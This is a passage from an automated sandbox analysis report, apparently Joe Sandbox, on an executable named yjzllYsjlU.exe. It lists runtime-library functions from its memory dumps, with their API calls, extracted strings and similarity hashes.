String ID:
API String ID: 776569668-0
Opcode ID: 9c86520c17fee5bb977a366526a4cd1d97e426023ecba6e0783088212fd463c3
Instruction ID: 1f9ed260b497624b04dcf552f9a6324f986d40730f5381f28701cb2fbac48ca9
Opcode Fuzzy Hash: 9c86520c17fee5bb977a366526a4cd1d97e426023ecba6e0783088212fd463c3
Instruction Fuzzy Hash: 45F06232948600BB8632EB64EAD1CAB77FAFE007187640805F41CD7D60DBB0F980CB54

Function 0043DA1E Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0043DBB8

Strings

*?, xrefs: 0043DA61

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 9ef204f46e1e9e6e895b4fd4c09f2a6869b2f7b57ccd26facbf7b5b5b709429c
Instruction ID: 8444feb9c58af159b24f360d524a1af6424cb6e40e41c758a4baa9ba100f3a22
Opcode Fuzzy Hash: 9ef204f46e1e9e6e895b4fd4c09f2a6869b2f7b57ccd26facbf7b5b5b709429c
Instruction Fuzzy Hash: 1E618DB1E002199FCB14DFA9D8815EEFBF5EF4C310F25916AE845E7300E639AE418B94

Function 021BDC85 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 021BDE1F

Strings

*?, xrefs: 021BDCC8

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 9ef204f46e1e9e6e895b4fd4c09f2a6869b2f7b57ccd26facbf7b5b5b709429c
Instruction ID: 6fcdc5a77f79f8b5d491faf59693dc45f1b0d69df821376da9d84b55ce2fc0d4
Opcode Fuzzy Hash: 9ef204f46e1e9e6e895b4fd4c09f2a6869b2f7b57ccd26facbf7b5b5b709429c
Instruction Fuzzy Hash: 0D613CB5E402199FCB19DFA8D8805EDFBF5EF48310F2581AAD855E7340D771AE418B90

Function 004426F2 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 171timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00456758), ref: 0044275C
_free.LIBCMT ref: 0044274A

Part of subcall function 0043ADF5: HeapFree.KERNEL32(00000000,00000000,?,0043F0CD,?,00000000,?,?,?,0043F0F4,?,00000007,?,?,0043F4F6,?), ref: 0043AE0B
Part of subcall function 0043ADF5: GetLastError.KERNEL32(?,?,0043F0CD,?,00000000,?,?,?,0043F0F4,?,00000007,?,?,0043F4F6,?,?), ref: 0043AE1D

_free.LIBCMT ref: 00442916

Strings

XgE, xrefs: 00442705, 0044270B

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID: XgE
API String ID: 2155170405-2984570469
Opcode ID: 408f858600a1f53604d9e13eb6c4a6de5f766e6ad14c8f26f7ae90bdf88e241d
Instruction ID: 8084bd392b0667b16f992d69d3ac30f533f8d402883a3cc5e9c46bc507ca970f
Opcode Fuzzy Hash: 408f858600a1f53604d9e13eb6c4a6de5f766e6ad14c8f26f7ae90bdf88e241d
Instruction Fuzzy Hash: 3B5117B1900215ABFB10EF65CE819AEB7B8EF44314F51026BF510E3291EBF89E418B59

Function 00439019 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123COMMON

Download Yara Rule

Strings

h'Q, xrefs: 0043906A
C:\Users\user\Desktop\yjzllYsjlU.exe, xrefs: 0043905C, 00439099

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\yjzllYsjlU.exe$h'Q
API String ID: 0-874672178
Opcode ID: 7990cc60f13bbf5db04e74938bd2c0700eb67712c1365d603b23e261442dbb4b
Instruction ID: 5a6a14289eafe60ce2143b443f35f28c3b9330844cb9aa4b0d6a2bcf37f19cd6
Opcode Fuzzy Hash: 7990cc60f13bbf5db04e74938bd2c0700eb67712c1365d603b23e261442dbb4b
Instruction Fuzzy Hash: B841A571A00219AFDB159F9ACC859AFBBF8EB8D310F10106BE404A7351E7F48E41CB59

Function 021B9280 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\yjzllYsjlU.exe, xrefs: 021B92C3, 021B9300
h'Q, xrefs: 021B92D1

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\yjzllYsjlU.exe$h'Q
API String ID: 0-874672178
Opcode ID: 7990cc60f13bbf5db04e74938bd2c0700eb67712c1365d603b23e261442dbb4b
Instruction ID: 954ae4dd0bd70516f101dea8671ffa80ac83a04ab8077b01b53472b2347d404c
Opcode Fuzzy Hash: 7990cc60f13bbf5db04e74938bd2c0700eb67712c1365d603b23e261442dbb4b
Instruction Fuzzy Hash: E3417571E40614AFCB27DBA9DC809EFBBB9EF85310F140066E605D72A0D7B08A42CF55

Function 021B4AA7 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 021B4AE6
__IsNonwritableInCurrentImage.LIBCMT ref: 021B4B9A

Strings

S9C, xrefs: 021B4B8C, 021B4B95, 021B4BA6
csm, xrefs: 021B4B84

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: S9C$csm
API String ID: 3480331319-582408667
Opcode ID: a4331c987b1b53513cbe21c672c92ef55e4810aa54a37fe5f5d469cf9e84ef45
Instruction ID: bacd46f9bc503810f51186be001968dcf51279cca9d56df6d93133a6097813fb
Opcode Fuzzy Hash: a4331c987b1b53513cbe21c672c92ef55e4810aa54a37fe5f5d469cf9e84ef45
Instruction Fuzzy Hash: 6C41B238A40218AFCF21DF68C994BDEBBB5AF45318F14C195E9149B392D771EA01CF90

Function 0043565B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 00435680
CatchIt.LIBVCRUNTIME ref: 00435766

Strings

MOC, xrefs: 00435692
RCC, xrefs: 0043569A

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: e76bbd798ac2a2531b018cbcd065df587f22d77e50faeab241abe2fb58f9e970
Instruction ID: 5e74a0003837bbbf1c0f5d1cc79d9a8e9fb2d82c4166bdd95ad30412f998441c
Opcode Fuzzy Hash: e76bbd798ac2a2531b018cbcd065df587f22d77e50faeab241abe2fb58f9e970
Instruction Fuzzy Hash: 4A418871900609EFCF15CF98DC82AEEBBB5BF4C304F18909AF90867221D339A950DB58

Function 021B58C2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 021B58E7
CatchIt.LIBVCRUNTIME ref: 021B59CD

Strings

MOC, xrefs: 021B58F9
RCC, xrefs: 021B5901

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: e76bbd798ac2a2531b018cbcd065df587f22d77e50faeab241abe2fb58f9e970
Instruction ID: 9d6b569f54ac7cad38ce9fa5c323b821570cfdd521938477109aad1a8268bcd6
Opcode Fuzzy Hash: e76bbd798ac2a2531b018cbcd065df587f22d77e50faeab241abe2fb58f9e970
Instruction Fuzzy Hash: A7415672940209BFCF16DF98CC81AEEBBB6BF08314F548099F914A7261D3359950DF51

Function 0043E4B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 0043E259: GetOEMCP.KERNEL32(00000000,0043E4CB,?,?,avC,00437661,?), ref: 0043E284

_free.LIBCMT ref: 0043E528

Strings

avC, xrefs: 0043E4B8
@"F, xrefs: 0043E550

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free
String ID: @"F$avC
API String ID: 269201875-3024483575
Opcode ID: 9908dd6ab1a80c5fc09db8b12665e78ab5e05ea3aa24e2a155a3ad1beaefeb8c
Instruction ID: c2258c4a8f5ad0cbd888ce205a5b2d9973e5ee0a434949fbdbaf9cd53865a0ee
Opcode Fuzzy Hash: 9908dd6ab1a80c5fc09db8b12665e78ab5e05ea3aa24e2a155a3ad1beaefeb8c
Instruction Fuzzy Hash: 5131BE71800249AFDB01DFAAD841B9F7BF5EF48318F1010AAF8109B2A2EB79DD50CB55

Function 0042AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0042AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0042AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0042AF4E

Strings

pExecutionResource, xrefs: 0042AF07

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 307fc8553255622f2e41d21d5ca305974523e3bf95507b50fe7deae7cab19e1c
Instruction ID: fa6d3a0e3725f8ef027d180f71de552ac3c936f12b730e52bc2201ef4983df17
Opcode Fuzzy Hash: 307fc8553255622f2e41d21d5ca305974523e3bf95507b50fe7deae7cab19e1c
Instruction Fuzzy Hash: 9A21A9B5B403059BCB04EF55C882BED77A5BF48314F50405FE90167382DB78AE55CB99

Function 021C2AB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 021C2B27
_free.LIBCMT ref: 021C2B7D

Part of subcall function 021C2959: _free.LIBCMT ref: 021C29B1
Part of subcall function 021C2959: GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00456758), ref: 021C29C3

Strings

XgE, xrefs: 021C2AE0

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID: XgE
API String ID: 597776487-2984570469
Opcode ID: f87cbb37d26a9294995cc9def7b394ab45dcd78de0b256dadcc3d82326988738
Instruction ID: 81a873e3390a18cf57a7611747bb6079c94d727cc85e321a2bd354fb1a086b34
Opcode Fuzzy Hash: f87cbb37d26a9294995cc9def7b394ab45dcd78de0b256dadcc3d82326988738
Instruction Fuzzy Hash: 8A2181358402146BC7356B744D80FEA777DDFA4754F3103ADDDA4A3090EBB05D85CAA1

Function 021A0EC3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 021A0F31
Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 021A0F3E
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 021A0F91

Strings

p[F, xrefs: 021A0F36

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_H_prolog3Lock::_ManagerManager::Reentrant
String ID: p[F
API String ID: 220083066-1832964472
Opcode ID: 6216d83329a3209df67438af02903c6e9b09d36f54debea953983a2b7a8ea068
Instruction ID: dfa92f35528e9ff5cb9f8f6e911e340998826222fcfddd5a1d688c30463b86f2
Opcode Fuzzy Hash: 6216d83329a3209df67438af02903c6e9b09d36f54debea953983a2b7a8ea068
Instruction Fuzzy Hash: A501B1389893018FDF15BFB8652036D7AE1AB0D740F50046FE009FB281DB748A008B9A

Function 0042A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0042A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0042A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0042A139

Strings

pScheduler, xrefs: 0042A131

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 682a3eefa47bedf4d22a1faa156ea6bcc2a49e045c4e2ce76e6417afd79e9783
Instruction ID: 10cbf4c553f32a99b29d21dedcc7eb1d51cf5285ac80ee2cb09dfeade9188058
Opcode Fuzzy Hash: 682a3eefa47bedf4d22a1faa156ea6bcc2a49e045c4e2ce76e6417afd79e9783
Instruction Fuzzy Hash: 56F02B35700224A38720FA55FC428AEF3789F80729BA0812FEC0517182DB7CAA19C69E

Function 0041FE1A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32(?,?,00000001,%C,000000FF,0000000C), ref: 0041FE31
GetLastError.KERNEL32(?,00430A25,?,00430925,?,?,?,?,?,?,00425CAE,?), ref: 0041FE40
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0041FE56

Strings

%C, xrefs: 0041FE27

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorLastObjectRegisterSingleWait
String ID: %C
API String ID: 2296417588-3573392825
Opcode ID: fbcf708f24b496e530a1d5d1bc838a4ad30d765a2443b3a5aa298535997dd61c
Instruction ID: 9d603aad05ffa4e056fd93621e3d7a672a7e3166deae781ad298c0678da8b19d
Opcode Fuzzy Hash: fbcf708f24b496e530a1d5d1bc838a4ad30d765a2443b3a5aa298535997dd61c
Instruction Fuzzy Hash: BFF0A73550020AB7CF00EFA1DC45EEF7B6C6B00705F100525B614E11E2DA38E6449768

Function 021A0081 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32(?,%C,?,021B0C8C,000000FF,0000000C), ref: 021A0098
GetLastError.KERNEL32(?,021B0C8C,?,00430925,?,?,?,?,?,?,021A5F15,?), ref: 021A00A7
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 021A00BD

Strings

%C, xrefs: 021A0094

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorLastObjectRegisterSingleWait
String ID: %C
API String ID: 2296417588-4291884666
Opcode ID: fbcf708f24b496e530a1d5d1bc838a4ad30d765a2443b3a5aa298535997dd61c
Instruction ID: 40f979d76903c4dbd54e870fe524ee3abcd2010a1adce197ee83d344c2bbf87a
Opcode Fuzzy Hash: fbcf708f24b496e530a1d5d1bc838a4ad30d765a2443b3a5aa298535997dd61c
Instruction Fuzzy Hash: 7DF0A03954020AFBCF00EFA5DD45FAE3B7DAB04705F200624B520E20D1EB35D6049B64

Function 0219D400 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

RtlLeaveCriticalSection.NTDLL(00465750), ref: 0219D42D
WaitForSingleObjectEx.KERNEL32(00468680,00000000,?,0219D39D,00000064,?,0045007C,?,02187854,00468680), ref: 0219D43E
RtlEnterCriticalSection.NTDLL(00465750), ref: 0219D445

Strings

PWF, xrefs: 0219D427

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveObjectSingleWait
String ID: PWF
API String ID: 501323975-4189640852
Opcode ID: 797b37c2cabad88e9ba561759b38bac6fac545db67df0b7ba0c67b1f35825c1a
Instruction ID: e266dd980f48c7036272fb964834e07f20489835dff8811479552e507b3e19b4
Opcode Fuzzy Hash: 797b37c2cabad88e9ba561759b38bac6fac545db67df0b7ba0c67b1f35825c1a
Instruction Fuzzy Hash: E3E01239541B24F7CB022B50EC09A9E3F68EB46B53F044031FA05665619B656C50CBDF

Function 02187F97 Relevance: 6.4, APIs: 4, Instructions: 422libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,00462014), ref: 02188011
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02188072
GetProcAddress.KERNEL32(00000000), ref: 02188079
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0218813E

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: AddressHandleInfoModuleProcSystemVersion
String ID:
API String ID: 1456109104-0
Opcode ID: f86739a690633f7d14615720dab4f5b7d6e0e144a36365c4640fb5ca6efcc30f
Instruction ID: 60f06b2b05b05cc4e9f97845dc42096ea1f17e2b0ae86d5f1a61f0e29bc52d83
Opcode Fuzzy Hash: f86739a690633f7d14615720dab4f5b7d6e0e144a36365c4640fb5ca6efcc30f
Instruction Fuzzy Hash: 35E1F4B1E40258ABDB14BB28CDC679DBA73AB82720F950298D415673C1EB754E85CF83

Function 021BCE46 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 021BCECD

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: d1e2580fea8bb5659ef3a0ec9f2bd8d3f247a712cc4476731abb6eb94a7ef4ee
Instruction ID: 19bc3651bf35be7da6878e99f66a07860847112b6dbab7597011fdbed07809a9
Opcode Fuzzy Hash: d1e2580fea8bb5659ef3a0ec9f2bd8d3f247a712cc4476731abb6eb94a7ef4ee
Instruction Fuzzy Hash: 42B139329402859FDB1BCF28D890BFEBBF6EF55340F2581AAD8559B241D7358902CFA0

Function 0043504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00435115
___AdjustPointer.LIBCMT ref: 00435138
___AdjustPointer.LIBCMT ref: 004351D4

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 24256a6a0eee4dc051d6a34bfd34133c294509d047b55e93e8e20eb2f16a28ea
Instruction ID: de7e3e00fb04a34b96eeb7253be455e546d1f1f5c91bb76df3f696651397a324
Opcode Fuzzy Hash: 24256a6a0eee4dc051d6a34bfd34133c294509d047b55e93e8e20eb2f16a28ea
Instruction Fuzzy Hash: 5851E171A01A06AFEF289F55D841BBB73B4EF18304F14516FE80197291E739ED41CB99

Function 021B52B5 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 021B537C
___AdjustPointer.LIBCMT ref: 021B539F
___AdjustPointer.LIBCMT ref: 021B543B

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: ee1216290e05d5aa883e1d856bebe084c5c42d67d7e9ed6b593ecc55b417bb7c
Instruction ID: 7b50ec32b65368952d571d0d0272b9b42ae356b5b1f01415727f0cf8aa6b714e
Opcode Fuzzy Hash: ee1216290e05d5aa883e1d856bebe084c5c42d67d7e9ed6b593ecc55b417bb7c
Instruction Fuzzy Hash: AB51D472681705FFEB2A8F50D880BEA77B6EF04305F94456DEC16572A0E7B1E850DB50

Function 00408380 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,900B88F7), ref: 004083F9
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408460
GetProcAddress.KERNEL32(00000000), ref: 00408467

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: c5af24d2983aef2b3c383eb558275b6883f436ff97da18ae2b794e3607aa909b
Instruction ID: 938ad35630e66277154cddf74743d86f98c067e6d70a9bb90e20810804f89ef8
Opcode Fuzzy Hash: c5af24d2983aef2b3c383eb558275b6883f436ff97da18ae2b794e3607aa909b
Instruction Fuzzy Hash: E9510870D00214ABDB14EF68DE497DEBB74EB46314F5042BEE445A72C1EF389AC48B99

Function 021885E7 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,00462014), ref: 02188660
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 021886C7
GetProcAddress.KERNEL32(00000000), ref: 021886CE

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: a9352ec7e219f5b0e6875a96d9916c0a74e731d0ff9642be5bb7f7817e9f41d6
Instruction ID: cfca312a0ae6f2353fa17a4d39fdc90e8105b01ff4e7c394d25ddf276386f607
Opcode Fuzzy Hash: a9352ec7e219f5b0e6875a96d9916c0a74e731d0ff9642be5bb7f7817e9f41d6
Instruction Fuzzy Hash: 4C51F471D402089BEB28EB64DD887DDB776EF45310F9042A8E414A73C0EB359A848F91

Function 00434C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00434C66
TypeidsEqual.LIBVCRUNTIME ref: 00434C8B
PMDtoOffset.LIBCMT ref: 00434CA1
PMDtoOffset.LIBCMT ref: 00434D22

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: cef6b095d55e150eee694991f596d606281b118854b35fc2e5d75d5fbf24ef20
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: C851BC35A042099FDF10CFA8C4806EEBBF4EF89354F14649BE850A7361D33ABA05CB54

Function 021B4E7C Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 021B4ECD
TypeidsEqual.LIBVCRUNTIME ref: 021B4EF2
PMDtoOffset.LIBCMT ref: 021B4F08
PMDtoOffset.LIBCMT ref: 021B4F89

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
